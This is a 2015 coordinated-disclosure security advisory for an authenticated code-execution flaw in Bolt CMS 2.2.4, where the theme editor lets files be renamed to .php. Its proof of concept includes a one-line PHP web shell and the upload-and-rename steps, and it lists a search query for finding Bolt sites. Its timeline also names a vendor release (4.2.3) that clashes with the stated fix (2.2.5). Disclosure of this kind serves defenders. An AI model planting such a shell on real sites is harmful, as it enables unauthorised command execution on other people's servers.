Bolt 2.2.4: Code Execution

Bolt 2.2.4: Code Execution

Date: 2015-08-17 09:30:21
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: Bolt 2.2.4
Fixed in: 2.2.5
Fixed Version Link:
Vendor Contact: Website:
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 07/14/2015
Disclosed to public: 08/17/2015
Release mode: Coordinated release
CVE: CVE-2015-7309
Google Dork: "This website is Built with Bolt" (About 11,100 results)
Credits Tim Coen of curesec GmbH

2. Vulnerability Description

The Bolt CMS does not allow the upload or editing of PHP files in its admin area, which should prevent code execution once an attacker gained admin credentials.

However, when uploading, the actual file type is not checked. The theme editor allows for the renaming of uploaded files, and it does not check the file extension or file type when doing so. Because of this, an attacker can gain code execution.

Please note that admin credentials are required.

3. Proof of Concept

  1. Visit theme editor: http://localhost/bolt-git-2015-06-25-05c29bf/bolt/files/theme/base-2014
  2. Upload or edit any existing file with allowed extension to contain <?php passthru($_GET['e']);
  3. Rename the file, giving it an extension that will make it executable, eg .php

The file will not be shown in the theme editor anymore, because PHP files are not shown, but it will be accessible via eg http://localhost/bolt-git-2015-06-25-05c29bf/theme/base-2014/README.php

4. Solution

To mitigate this issue please upgrade at least to version 2.2.5:

Please note that a newer version might already be available.

5. Report Timeline

07/14/2015 Informed Vendor about Issue
07/24/2015 Vendor releases Version 4.2.3
08/17/2015 Disclosed to public